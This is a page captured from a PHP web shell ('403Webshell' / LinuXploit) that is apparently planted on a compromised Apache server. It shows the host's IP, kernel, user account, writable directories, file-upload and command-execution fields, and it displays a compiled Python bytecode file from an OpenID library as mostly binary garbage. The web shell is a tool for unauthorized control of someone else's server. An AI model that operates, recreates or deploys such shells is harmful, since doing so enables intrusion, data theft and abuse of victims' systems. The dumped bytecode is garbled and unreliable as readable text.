403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/openid/yadis/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/openid/yadis/__pycache__/etxrd.cpython-311.pyc
�

|=�^� ���dZgd�ZddlZddlZddlZddlmZddlmZddlm	Z	m
Z
e	��Ze
��Zddl
mZGd�d	e��ZGd
�de��Zd�Zd
ZdZd�Zd�Zd�Zed��Zed��Zed��Zed��Zed��Zed��Zed��Zd�Zd�Z d'd�Z!d�Z"ej#Gd�de$����Z%e%��Z&d�Z'd �Z(d!�Z)d"�Z*d#�Z+d$�Z,d%�Z-d&�Z.dS)(z+
ElementTree interface to an XRD document.
)�nsTag�mkXRDTag�isXRDS�	parseXRDS�getCanonicalID�getYadisXRD�getPriorityStrict�getPriority�prioSort�iterServices�
expandService�expandServices�N)�datetime)�strptime)�importElementTree�importSafeElementTree)�xric��eZdZdZdZdS)�	XRDSErrorz An error with the XRDS document.N)�__name__�
__module__�__qualname__�__doc__�reason���4/usr/lib/python3/dist-packages/openid/yadis/etxrd.pyrr$s������*�*��F�F�Frrc��eZdZdZdS)�	XRDSFraudzbRaised when there's an assertion in the XRDS that it does not have
    the authority to make.
    N)rrrrrrrrr+s���������rrc��	t|t��r|�d��n|}t�|��}t
�|��}t
|��std���|S#ttttf$r�t$r}td��}||_
|�d}~wwxYw)z�Parse the given text as an XRDS document.

    @return: ElementTree containing an XRDS document

    @raises XRDSError: When there is a parse error or the document does
        not contain an XRDS.
    �utf8zNot an XRDS documentzError parsing document as XMLN)�
isinstance�str�encode�SafeElementTree�XML�ElementTreerr�
SystemExit�MemoryError�AssertionError�ImportError�	Exceptionr)�text�
bytestring�element�tree�why�excs      rrr1s����-7�t�S�,A�,A�K�T�[�[��(�(�(�t�
�!�%�%�j�1�1���&�&�w�/�/���d�|�|�	4��2�3�3�3����
��^�[�A����
������7�8�8����
��	��������s�AB�'C�)C�Czxri://$xrd*($v*2.0)zxri://$xrdsc��d|�d|��S)N�{�}r)�ns�ts  rrrSs����r�r�1�1��rc�,�tt|��S)zybasestring -> basestring

    Create a tag name in the XRD 2.0 XML namespace suitable for using
    with ElementTree
    )r�
XRD_NS_2_0�r7s rrrWs����Q���rc�,�tt|��S)zvbasestring -> basestring

    Create a tag name in the XRDS XML namespace suitable for using
    with ElementTree
    )r�XRDS_NSr:s r�	mkXRDSTagr=`s����!���r�XRDS�Service�XRD�Type�URI�Expires�CanonicalIDc�J�|���}|jtkS)z"Is this document an XRDS document?)�getroot�tag�root_tag)�xrd_tree�roots  rrrus �������D��8�x��rc�f�d}|�t��D]}�|�td���|S)z=Return the XRD element that should contain the Yadis servicesNzNo XRD present in tree)�findall�xrd_tagr�rI�xrds  rrr{sD��
�C�����(�(�
�
����{��0�1�1�1��Jrc��|�t��}|�|S|j}t|d��}t	|dd��S)a�Return the expiration date of this XRD element, or None if no
    expiration was specified.

    @type xrd_element: ElementTree node

    @param default: The value to use as the expiration if no
        expiration was specified in the XRD.

    @rtype: datetime.datetime

    @raises ValueError: If the xrd:Expires element is present, but its
        contents are not formatted according to the specification.
    Nz%Y-%m-%dT%H:%M:%SZr�)�find�expires_tagr-rr)�xrd_element�default�expires_element�expires_string�expires_times     r�getXRDExpirationrY�sP��"�&�&�{�3�3�O�����(�-�� ��0D�E�E����a��c�*�+�+rc��|�t��}|���	tj|d�t
��dj��}n#t$rYdSwxYw|���}|dd�D]x}|�	dd��d}tj|�
t
����}||���krt|�d|�����|}�ytj|��}tj
||��st|�d|�����|S)aReturn the CanonicalID from this XRDS document.

    @param iname: the XRI being resolved.
    @type iname: unicode

    @param xrd_tree: The XRDS output from the resolver.
    @type xrd_tree: ElementTree

    @returns: The XRI CanonicalID or None.
    @returntype: unicode or None
    rN��!z can not come from z can not come from root )rLrM�reverser�XRI�canonicalID_tagr-�
IndexError�lower�rsplit�findtextr�
rootAuthority�providerIsAuthoritative)	�inamerI�xrd_list�canonicalID�childIDrO�
parent_sought�parentrJs	         rrr�sP������(�(�H���������g�h�q�k�1�1�/�B�B�1�E�J�K�K���������t�t��������!�!�G�����|� � �����s�A�.�.�q�1�
������o�6�6�7�7���F�L�L�N�N�*�*�����&�&�I�J�J�J������U�#�#�D��&�t�W�5�5�J��'�'�'�4�4�H�I�I�I��s�=A.�.
A<�;A<c��eZdZdZd�Zd�ZdS)�_Maxz�
    Value that compares greater than any other value.

    Should only be used as a singleton. Implemented for use as a
    priority value for when a priority is not specified.
    c�,�t||j��S�N�r"�	__class__��self�others  r�__lt__z_Max.__lt__�����%���0�0�0rc�,�t||j��Srorprrs  r�__eq__z_Max.__eq__�rvrN)rrrrrurxrrrrmrm�s<��������1�1�1�1�1�1�1�1rrmc��|�d��}|�&t|��}|dkr|Std���tS)z�Get the priority of this element.

    Raises ValueError if the value of the priority is invalid. If no
    priority is specified, it returns a value that compares greater
    than any other value.
    �priorityNrz-Priority values must be non-negative integers)�get�int�
ValueError�Max)r/�prio_str�prio_vals   rrr�sJ���{�{�:�&�&�H����x�=�=���q�=�=��O��L�M�M�M��Jrc�P�	t|��S#t$r
tcYSwxYw)ztGet the priority of this element

    Returns Max if no priority is specified or the priority value is invalid.
    )rr}r~)r/s rr	r	�s9��
� ��)�)�)�������
�
�
����s��%�%c�Z�tj|��t|t���}|S)z5Sort a list of elements that have priority attributes)�key)�random�shuffle�sortedr	)�elements�sorted_elemss  rr
r
�s,���N�8�����(��4�4�4�L��rc�n�t|��}t|�t����S)zUReturn an iterable over the Service elements in the Yadis XRD

    sorted by priority)rr
rL�service_tagrNs  rrrs+���h�
�
�C��C�K�K��,�,�-�-�-rc�d�d�t|�t����D��S)z]Given a Service element, return a list of the contents of all
    URI tags in priority order.c��g|]	}|j��
Sr�r-)�.0�uri_elements  r�
<listcomp>zsortedURIs.<locals>.<listcomp>s+������	����r)r
rL�uri_tag��service_elements r�
sortedURIsr�
s9����#�O�$;�$;�G�$D�$D�E�E����rc�J�d�|�t��D��S)zKGiven a Service element, return a list of the contents of all
    Type tagsc��g|]	}|j��
Srr�)r��type_elements  rr�zgetTypeURIs.<locals>.<listcomp>s(�����*�����r)rL�type_tagr�s r�getTypeURIsr�s1����.=�.E�.E�h�.O�.O����rc��t|��}|sdg}g}|D])}t|��}|�|||f���*|S)zeTake a service element and expand it into an iterator of:
    ([type_uri], uri, service_element)
    N)r�r��append)r��uris�expanded�uri�	type_uriss     rrrsb���o�&�&�D����v���H��;�;����0�0�	�����C��9�:�:�:�:��Orc�X�g}|D]$}|�t|�����%|S)a�Take a sorted iterator of service elements and expand it into a
    sorted iterator of:
    ([type_uri], uri, service_element)

    There may be more than one item in the resulting list for each
    service element if there is more than one URI or type for a
    service, but each triple will be unique.

    If there is no URI or Type for a Service element, it will not
    appear in the result.
    )�extendr)�service_elementsr�r�s   rr
r
.s:���H�+�8�8�����
�o�6�6�7�7�7�7��Orro)/r�__all__�sysr��	functoolsr�timer�openid.oidutilrrr'r%�openid.yadisrr,rrrr9r<rrr=rHr�rMr�r�rSr_rrrYr�total_ordering�objectrmr~rr	r
rr�r�rr
rrr�<module>r�s�����
�
�
���
�
�
�
�
�
�
�����������������C�C�C�C�C�C�C�C���!�!��'�'�)�)�������������	���������	�������<#�
�
����� � � �����9�V�����h�y�!�!��
�(�5�/�/���8�F����
�(�5�/�/���h�y�!�!���(�=�)�)�� � � ����",�,�,�,�2"�"�"�J��1�1�1�1�1�6�1�1���1��d�f�f�����&������.�.�.�������
�
�
� ����r

Youez - 2016 - github.com/yon3zu
LinuXploit